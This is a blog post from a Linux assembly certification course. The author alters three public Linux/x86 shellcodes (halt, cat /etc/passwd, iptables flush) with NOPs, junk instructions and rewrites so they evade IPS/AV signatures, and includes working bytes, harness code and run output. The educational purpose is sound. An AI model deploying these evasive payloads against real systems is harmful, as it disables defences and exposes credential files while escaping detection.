Friday 17 June 2016

x86 shellcode defeating pattern-matching

Hi there, post six of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is an exercise in defeating pattern-matching by altering three shellcodes gathered from shell-storm.org - the aim of which is to allow the shellcode to function as normal even if the shellcode has been sampled and entered into IPS/AV signature databases.

The three results follow :-)

https://github.com/pabb85/SLAE/blob/master/execve-halt-altered_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-483.php  
 Description: Linux/x86 - execve(/sbin/halt,/sbin/halt) - 27 bytes by TheWorm  
   
 This shellcode comes in a C program like so;  
 --begins--  
 #include <stdio.h>  
   
 const char shellcode[]=  
      "\x6a\x0b"          // push     $0xb  
      "\x58"               // pop     %eax  
      "\x99"               // cltd  
      "\x52"               // push     %edx  
      "\x66\x68\x6c\x74"     // pushw $0x746c  
      "\x68\x6e\x2f\x68\x61"     // push     $0x61682f6e  
      "\x68\x2f\x73\x62\x69"     // push     $0x6962732f  
      "\x89\xe3"          // mov     %esp,%ebx  
      "\x52"               // push     %edx  
      "\x53"               // push     %ebx  
      "\x89\xe1"          // mov     %esp,%ecx  
      "\xcd\x80";          // int     $0x80  
   
 int main()  
 {  
      printf     ("\n[+] Linux/x86 execve(/sbin/halt,/sbin/halt)"  
           "\n[+] Date: 11/07/2009"  
           "\n[+] Author: TheWorm"  
           "\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);  
      (*(void (*)()) shellcode)();  
      return 0;  
 }  
 --ends--  
   
 Let's keep this first example simple - break the pattern with nops :-)  
   
 "\x6a\x0b"          // push     $0xb  
 "\x90"               // nop  
 "\x58"               // pop     %eax  
 "\x90"               // nop  
 "\x99"               // cltd  
 "\x90"               // nop  
 "\x52"               // push     %edx  
 "\x90"               // nop  
 "\x66\x68\x6c\x74"     // pushw $0x746c  
 "\x90"               // nop  
 "\x68\x6e\x2f\x68\x61"     // push     $0x61682f6e  
 "\x90"               // nop  
 "\x68\x2f\x73\x62\x69"     // push     $0x6962732f  
 "\x90"               // nop  
 "\x89\xe3"          // mov     %esp,%ebx  
 "\x90"               // nop  
 "\x52"               // push     %edx  
 "\x90"               // nop  
 "\x53"               // push     %ebx  
 "\x90"               // nop  
 "\x89\xe1"          // mov     %esp,%ecx  
 "\x90"               // nop  
 "\xcd\x80";          // int     $0x80  
   
   
 Let's prove this by compiling and running (I'm going to catch this in strace as a low priv user because I don't really want the halt :-)  
   
   
 paul@SLAE001:~$ gcc execve-halt-altered.c -o execve-halt-altered -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ strace ./execve-halt-altered   
 execve("./execve-halt-altered", ["./execve-halt-altered"], [/* 21 vars */]) = 0  
 ...  
 write(1, "\n", 1  
 )            = 1  
 write(1, "[+] Linux/x86 execve(/sbin/halt,"..., 44[+] Linux/x86 execve(/sbin/halt,/sbin/halt)  
 ) = 44  
 write(1, "[+] Date: 11/07/2009\n", 21[+] Date: 11/07/2009  
 ) = 21  
 write(1, "[+] Author: TheWorm\n", 20[+] Author: TheWorm  
 )  = 20  
 write(1, "\n", 1  
 )            = 1  
 write(1, "[+] Shellcode Size: 38 bytes\n\n", 30[+] Shellcode Size: 38 bytes  
   
 ) = 30  
 execve("/sbin/halt", ["/sbin/halt"], [/* 0 vars */]) = 0  
 ...  
 write(2, "halt: Need to be root\n", 22halt: Need to be root  
 ) = 22  
 exit_group(1)              = ?  
 paul@SLAE001:~$   
   
 Okay, nice... This very basic method works.  
 Although - it does increases the size of the shellcode a fair bit.  
   

https://github.com/pabb85/SLAE/blob/master/cat-passwd-altered_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-571.php  
 Description: Linux/x86 - bin/cat /etc/passwd - 43 bytes by fb1h2s  
   
 This shellcode also comes in a C program like so;  
 --begins--  
 #include <stdio.h>  
    
 const char shellcode[]="\x31\xc0" // xorl %eax,%eax  
 "\x99" // cdq  
 "\x52" // push edx  
 "\x68\x2f\x63\x61\x74" // push dword 0x7461632f  
 "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f  
 "\x89\xe3" // mov ebx,esp  
 "\x52" // push edx  
 "\x68\x73\x73\x77\x64" // push dword 0x64777373  
 "\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f  
 "\x68\x2f\x65\x74\x63" // push dword 0x6374652f  
 "\x89\xe1" // mov ecx,esp  
 "\xb0\x0b" // mov $0xb,%al  
 "\x52" // push edx  
 "\x51" // push ecx  
 "\x53" // push ebx  
 "\x89\xe1" // mov ecx,esp  
 "\xcd\x80" ; // int 80h  
    
 int main()  
 {  
 (*(void (*)()) shellcode)();  
    
 return 0;  
 }  
    
    
 /*  
 shellcode[]=     "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64"   
           "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";  
 */  
 --ends--  
   
 On this second example, let's mess around with it by adding unnecessary but valid instructions :-)  
   
 "\x31\xc0" // xorl %eax,%eax  
 "\x99" // cdq  
 "\x52" // push edx  
 "\x68\x2f\x63\x61\x74" // push dword 0x7461632f  
 "\x68\xef\xbe\xad\xde" // ADDED: push dword 0xdeadbeef  
 "\x5b" // ADDED: pop ebx  
 "\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f  
 "\x89\xe3" // mov ebx,esp  
 "\x52" // push edx  
 "\x68\x73\x73\x77\x64" // push dword 0x64777373  
 "\x40" // ADDED: inc eax  
 "\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f  
 "\x48" // ADDED: dec eax  
 "\x68\x2f\x65\x74\x63" // push dword 0x6374652f  
 "\x89\xe1" // mov ecx,esp  
 "\xb0\x0b" // mov $0xb,%al  
 "\x52" // push edx  
 "\x51" // push ecx  
 "\x53" // push ebx  
 "\x89\xe1" // mov ecx,esp  
 "\xcd\x80" ; // int 80h  
   
   
 Let's prove this by compiling and running...  
   
 paul@SLAE001:~$ gcc cat-passwd-altered.c -o cat-passwd-altered -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ ./cat-passwd-altered   
 root:x:0:0:root:/root:/bin/bash  
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
 bin:x:2:2:bin:/bin:/bin/sh  
 ...  
 paul@SLAE001:~$   
   
   
 Okay, nice... Also another method which works nicely.  
 Less easy for IDS/AV/etc to spot, they could exclude NOPs but not valid instrutions.  
 Breaks up the strings being pushed also.  
   
 Adds a small bit of size.  
   
   

https://github.com/pabb85/SLAE/blob/master/flush-iptables_analysis ;

 Shellcode source: http://shell-storm.org/shellcode/files/shellcode-368.php  
 Description: Linux/x86 - iptables --flush - 43 bytes by Hamza Megahed  
   
 This shellcode comes as a C file;  
 --begins--  
 /*  
  * 06/03/2003   
  *   
  * ( 45 bytes ) to flush iptables.  
  *  
  * _execve(/sbin/iptables -F) by UnboundeD  
  * greetz to s0t4ipv6.  
  *  
  */  
   
 char shellcode[] =  
   
 "\x31\xd2"           // xorl     %edx,%edx  
 "\x52"             // pushl    %edx  
 "\x66\x68\x2d\x46"       // pushw    $0x462d  
 "\x89\xe6"           // movl     %esp,%esi  
 "\x52"             // pushl    %edx  
 "\x68\x62\x6c\x65\x73"     // pushl    $0x73656c62  
 "\x68\x69\x70\x74\x61"     // pushl    $0x61747069  
 "\x89\xe7"           // movl     %esp,%edi  
 "\x68\x62\x69\x6e\x2f"     // pushl    $0x2f6e6962  
 "\x68\x2f\x2f\x2f\x73"     // pushl    $0x732f2f2f  
 "\x89\xe3"           // movl     %esp,%ebx  
 "\x52"             // pushl    %edx  
 "\x56"             // pushl    %esi  
 "\x57"             // pushl    %edi  
 "\x89\xe1"           // movl     %esp,%ecx  
 "\x31\xc0"           // xorl     %eax,%eax  
 "\xb0\x0b"           // movb     $0xb,%al  
 "\xcd\x80"           // int     $0x80  
 ;  
   
 main() {  
     int *ret;  
     ret=(int *)&ret +2;  
     printf("Shellcode lenght=%d\n",strlen(shellcode));  
     (*ret) = (int)shellcode;  
 }  
 --ends--  
   
 For this third example, let's straight-up try and optimise it.   
 Let's try and run it first...  
   
 paul@SLAE001:~$ gcc flush-iptables.c -o flush-iptables -m32 -fno-stack-protector -z execstack  
 flush-iptables.c: In function ‘main’:  
 flush-iptables.c:36:9: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]  
 flush-iptables.c:36:40: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]  
 paul@SLAE001:~$ strace ./flush-iptables   
 execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0  
 ...  
 write(1, "Shellcode lenght=45\n", 20Shellcode lenght=45  
 )  = 20  
 exit_group(-1081789164)         = ?  
 paul@SLAE001:~$   
   
   
 Okay, getting some errors running it so just dropped it into a known-working C program wrapper with the includes, etc.  
   
 paul@SLAE001:~$ cat shellcode.c   
 #include<stdio.h>  
 #include<string.h>  
   
 //compile with: gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack   
   
   
 unsigned char code[] = \  
 "\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";  
   
 main()  
 {  
   
      printf("Shellcode Length: %d\n", strlen(code));  
   
      int (*ret)() = (int(*)())code;  
   
      ret();  
   
 }  
 paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack  
 paul@SLAE001:~$ strace ./shellcode   
 execve("./shellcode", ["./shellcode"], [/* 21 vars */]) = 0  
 ...  
 write(1, "Shellcode Length: 45\n", 22Shellcode Length: 45  
 ) = 22  
 execve("///sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0  
 brk(0)                 = 0x9804000  
 ...  
 exit_group(3)              = ?  
 paul@SLAE001:~$   
   
   
 Okay, this works, lets have a tinker with the shellcode and try and optimise it somewhat - the main purpose being to change the instructions so that the pattern of the file is not recognised by IPS/AV as being in their signature databases.  
   
 I came up with the following alternative version of the shellcode;  
   
 global _start  
 section .text  
 _start:  
   xor eax,eax  
   mov al,0xb  
   cdq  
   ;xor edx,edx  
   push edx  
   push word 0x462d    ; -F  
   mov esi,esp  
   push edx  
   push dword 0x73656c62  ; bles  
   push dword 0x61747069  ; ipta  
   mov edi,esp  
   push dword 0x2f6e6962  ; bin/  
   push word 0x732f    ; /s  
   mov ebx,esp  
   push edx  
   push esi  
   push edi  
   mov ecx,esp  
   ;xor eax,eax  
   ;mov al,0xb  
   int 0x80  
   
   
 Let's test it...  
   
 paul@SLAE001:~$ ./compile.sh flush-iptables  
 [+] Assembling with Nasm ...   
 [+] Linking ...  
 [+] Done!  
 paul@SLAE001:~$ strace ./flush-iptables   
 execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0  
 execve("/sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0  
 ...  
 exit_group(3)              = ?  
 paul@SLAE001:~$ objdump -d ./flush-iptables|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'  
 "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80"  
 paul@SLAE001:~$ perl -e 'print "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80";' | wc -c  
 43  
 paul@SLAE001:~$   
   
   
 Nice...! In the new, altered form it works.  
   
 Also, I shaved two bytes off the shellcode - I'll earn the bonus points for that :-)  
   
   



This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID:  SLAE-469.